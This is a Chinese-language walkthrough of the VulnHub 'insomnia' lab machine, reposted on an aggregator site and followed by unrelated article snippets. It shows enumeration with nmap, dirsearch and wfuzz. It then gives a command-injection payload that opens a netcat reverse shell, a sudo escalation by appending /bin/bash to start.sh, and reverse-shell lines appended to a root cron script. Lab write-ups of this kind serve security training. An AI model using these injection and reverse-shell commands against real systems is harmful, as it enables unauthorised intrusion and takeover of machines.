VulnHub:insomnia

靶机下载地址

信息收集

主机发现和端口扫描

攻击机网段192.168.31.0/24。

# 主机发现
nmap 192.168.31.0/24 -Pn -T4
# 靶机ip:192.168.31.207 端口扫描
nmap 192.168.31.207 -A -p- -T4

经过nmap扫描发现目标主机有http服务,端口是8080。

目录扫描

访问http服务(注意添加端口8080再访问)。

首页访问首先弹出弹窗,输入框默认值是guest,多次尝试后发现这个nickname没什么影响,直接默认值访问。

进入首页后是一个类似于留言框的东西,但是下面的输入框没有提交按钮无法提交。

F12检查页面,在<head>中发现一些js文件和代码。

看过js代码后没什么发现,主要内容是弹窗和对用户输入框内容最大接收长度的。代码过长没啥重要内容就不展示全部。

        // ask user for name with popup prompt    var name = prompt("Enter your nickname:", "guest");// default name is 'Guest'if (!name || name === ' ') {name = "guest";	}// strip tagsname = name.replace(/(<([^>]+)>)/ig,"");// display name on page$("#name-area").html("You are: <span>" + name + "</span>");

访问chat.js看看代码,写了几个函数,看过函数内容后发现都与process.php有关。

访问/process.php。空数组?没有线索。

卡住了,还是使用工具进行目录扫描,想办法在其他目录找到线索。

dirsearch -u http://192.168.31.170:8080 -i 200,301

扫出新路径/administration.php和/start.sh。

访问/start.sh,文件内容如下:

php -S 0.0.0.0:8080

访问/administration.php。页面文字翻译是:你不被允许查看,并且你的行为被记录了。这里应该是可以进行命令执行的,但是缺少参数。

遍历枚举参数

使用wfuzz工具枚举/administration.php的参数。wfuzz一般用于请求参数参数类的模糊测试也可以用来做目录扫描、http请求方法测试等操作。WFUZZ使用教程-CSDN博客

wfuzz -c -u http://192.168.31.170:8080/administration.php?FUZZ=1 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 65
  • -c:带颜色输出

  • -u:指定url

  • -w:指定字典

  • --h:隐藏字符为65的响应

补充:wfuzz自带的字典不够强大,爆不出来就换字典,这里用的是seclists字典(含有渗透测试可能用到的字典),有些kali版本默认是没有安装该字典的,安装即可sudo apt install seclists。安装完成后,字典位置是/usr/share/seclists/。

getshell

枚举出参数logfile,试一下命令执行看看有没有回显命令执行结果。

无回显,命令应该是执行了的,尝试反弹shell。

?logfile=whoami;nc -e /bin/bash 192.168.31.218 6666
nc -lvvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'

getshell。当前权限低且经过信息收集没有找到flag和有用信息,在家目录发现存在用户julia,想办法拿到julia的shell进一步渗透。

sudo提权

sudo -l   根据命令结果发现/var/www/html/start.sh可以用于提权到julia用户。再看看start.sh的权限,有编辑权限,就可以向start.sh写入/bin/bash,执行start.sh时即可拿到julia的shell。

echo '/bin/bash' >> start.sh

sudo -u julia /bin/bash /var/www/html/start.sh

信息收集,找到user.txt。

Cronjobs提权

在定时任务中找到可以用于提权的脚本/var/cron/check.sh。并且该脚本每时每刻都会运行,检查该脚本权限,有编辑权限,向该脚本追加反弹shell即可拿到root shell。

有很多反弹shell的方式。

# 1
echo 'bash -i >& /dev/tcp/192.168.31.218/8888 0>&1' >> /var/cron/check.sh
​
# 2
echo "nc 192.168.31.218 8888 -e /bin/bash" >> /var/cron/check.sh

找到root flag🎆

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/381145.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL Server 使用 OPTION (RECOMPILE) 和查询存储的查询

设置 我们正在使用 WideWorldImporters 数据库&#xff0c;您可以从 Github 下载【sql-server-samples/samples/databases/wide-world-importers at master microsoft/sql-server-samples GitHub】。我正在运行SQL Server 2017 的最新 CU【https://sqlserverbuilds.b…

R绘制Venn图及其变换

我自己在用R做各种分析时有不少需要反复用到的基础功能&#xff0c;比如一些简单的统计呀&#xff0c;画一些简单的图等等&#xff0c;虽说具体实现的代码也不麻烦&#xff0c;但还是不太想每次用的时候去找之前的代码。 索性将常用的各种函数整成了一个包&#xff1a;pcutils…

更加深入Mysql-04-MySQL 多表查询与事务的操作

文章目录 多表查询内连接隐式内连接显示内连接 外连接左外连接右外连接 子查询 事务事务隔离级别 多表查询 有时我们不仅需要一个表的数据&#xff0c;数据可能关联到俩个表或者三个表&#xff0c;这时我们就要进行夺标查询了。 数据准备&#xff1a; 创建一个部门表并且插入…

【Qt】常用控件

文章目录 QWidgetenabledgeometrywindow framewindowTitlewindowIconqrc资源管理windowOpacitycursorfonttoolTipfocusPolicystyleSheet 按钮类PushButtonRadioButtonCheckBoxSignals 显示类LabelLCDNumberProgressBarCalendar 输入类LineEditTextEditComboBoxSpinBoxDateTimeE…

使用Vuepress搭建个人网站

网站地址&#xff1a;bloggo.chat

Ubuntu16.04环境下Baxter机器人开发环境搭建要点说明

Ubuntu16.04环境下Baxter机器人开发环境搭建要点说明 前面写过一篇文章&#xff0c;描述了在ubuntu20.04环境下baxter机器人开发环境的搭建&#xff0c;本人在后来的使用中&#xff0c;出于一些原因又在ubuntu16环境下搭建了开发环境&#xff0c;二者总体流程基本类似&#xf…

等幅值变换与克拉克逆变换

前言 克拉克变换可参考如下链接 无刷电机数学模型建立之——克拉克变换 一、克拉克等幅值变换 1、首先认识一个定律&#xff0c;基尔霍夫电流定律&#xff0c;即电路在任何一个节点上&#xff0c;在任意的时刻流入节点的电流之和总是等于流出节点的电流之和。如下图&#xf…

PCI设备读写主存储器过程

PCI设备与存储器直接进行数据交换的过程也被称为DMA。与其他总线的DMA过程类似&#xff0c;PCI设备进行DMA操作时&#xff0c;需要获得数据传送的目的地址和传送大小。支持DMA传递的PCI设备可以在其BAR空间中设置两个寄存器&#xff0c;分别保存这个目标地址和传送大小。这两个…

240718_使用Labelme制作自己的图像分割数据集

240718_使用Labelme制作自己的图像分割数据集 从目标检测入门的朋友们可能更熟悉的是LabelImg&#xff0c;这里要注意做好区分&#xff0c;LabelImg和Labelme不是一个东西&#xff0c;如下经典图&#xff1a; &#xff08;a&#xff09;图像分类&#xff08;目标检测&#xff…

kubernetes集群部署elasticsearch集群,包含无认证和有认证模式

1、背景&#xff1a; 因公司业务需要&#xff0c;需要在测试、生产kubernetes集群中部署elasticsearch集群&#xff0c;因不同环境要求&#xff0c;需要部署不同模式的elasticsearch集群&#xff0c; 1、测试环境因安全性要求不高&#xff0c;是部署一套默认配置&#xff1b; 2…

外部网络设计

外部网络设计 https://support.huawei.com/enterprise/zh/doc/EDOC1100368575/e64f745b#ZH-CN_TOPIC_0268148455 在Fabric网络的资源模型设计中&#xff0c;通过在Border节点创建外部网络&#xff0c;使得园区内部终端能够访问外部Internet等。Border上创建的每个外部网络资源…

【网络】socket套接字基础知识

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;理解并掌握socket套接字。 > 毒鸡汤&#xff1a;有些事情&#xff0c;总是不明白&#xff0c;所以我不会坚持。早安! > 专栏选自&#xff1a;网络…

argon主题调整日记

前言 argon主题是一款由solstice23开发的一款简洁美观的WordPress主题&#xff0c;在使用过程中也发现了几个可以优化的点&#xff0c;在查阅主题文档无果后对其进行以下几点修改。 1、使用子主题 为了避免修改源文件而引起主题更新后修改丢失的问题&#xff0c;还是尽量使用子…

Java | Leetcode Java题解之第274题H指数

题目&#xff1a; 题解&#xff1a; class Solution {public int hIndex(int[] citations) {int left0,rightcitations.length;int mid0,cnt0;while(left<right){// 1 防止死循环mid(leftright1)>>1;cnt0;for(int i0;i<citations.length;i){if(citations[i]>mi…

【计算机网络】0 课程主要内容(自顶向下方法,中科大郑烇、杨坚)(待)

1 教学目标 掌握计算机网络 基本概念 工作原理 常用技术 为将来学习、应用和研究计算机网络打下坚实基础 2 课程主要内容 1 计算机网络和互联网2 应用层3 传输层4 网络层&#xff1a;数据平面5 网络层&#xff1a;控制平面6 数据链路层和局域网7 网络安全8 无线和移动网络9 多…

【学习笔记】无人机系统(UAS)的连接、识别和跟踪(四)-无人机认证与授权

引言 3GPP TS 23.256 技术规范&#xff0c;主要定义了3GPP系统对无人机&#xff08;UAV&#xff09;的连接性、身份识别、跟踪及A2X&#xff08;Aircraft-to-Everything&#xff09;服务的支持。 3GPP TS 23.256 技术规范&#xff1a; 【免费】3GPPTS23.256技术报告-无人机系…

Websocket自动消息回复服务端工具

点击下载《Websocket自动消息回复服务端工具》 1. 前言 在进行Websocket开发时&#xff0c;前端小伙伴通常是和后端开发人员同步进行项目开发&#xff0c;经常会遇到后端开发人员接口还没开发完&#xff0c;也没有可以调试的环境&#xff0c;只能按照接口文档进行“脑回路开发…

从0开始的STM32HAL库学习6

外部时钟源选择 配置环境 选择TIM2 配置红色框图中的各种配置 时钟源选择外部时钟 2 1. 预分频器 Prescaler &#xff0c;下面填0&#xff0c;不分频 2. 计数模式 CounterModer &#xff0c;计数模式选择为向上计数 3. 自动重装寄存器 CouterPeriod &#xff0c;自动重…

Go语言并发编程-Channel通信_2

Channel通信 Channel概述 不要通过共享内存的方式进行通信&#xff0c;而是应该通过通信的方式共享内存 这是Go语言最核心的设计模式之一。 在很多主流的编程语言中&#xff0c;多个线程传递数据的方式一般都是共享内存&#xff0c;而Go语言中多Goroutine通信的主要方案是Cha…

[计算机基础]一、计算机组成原理

计算机组成原理的考察目标为&#xff1a; 1. 掌握单处理器计算机系统中主要部件的工作原理、组成结构以及相互连接方式。 2. 掌握指令集体系结构的基本知识和基本实现方法&#xff0c;对计算机硬件相关问题进行分析&#xff0c;并能够对相关部件进行设计。 3. 理解计算机系统的…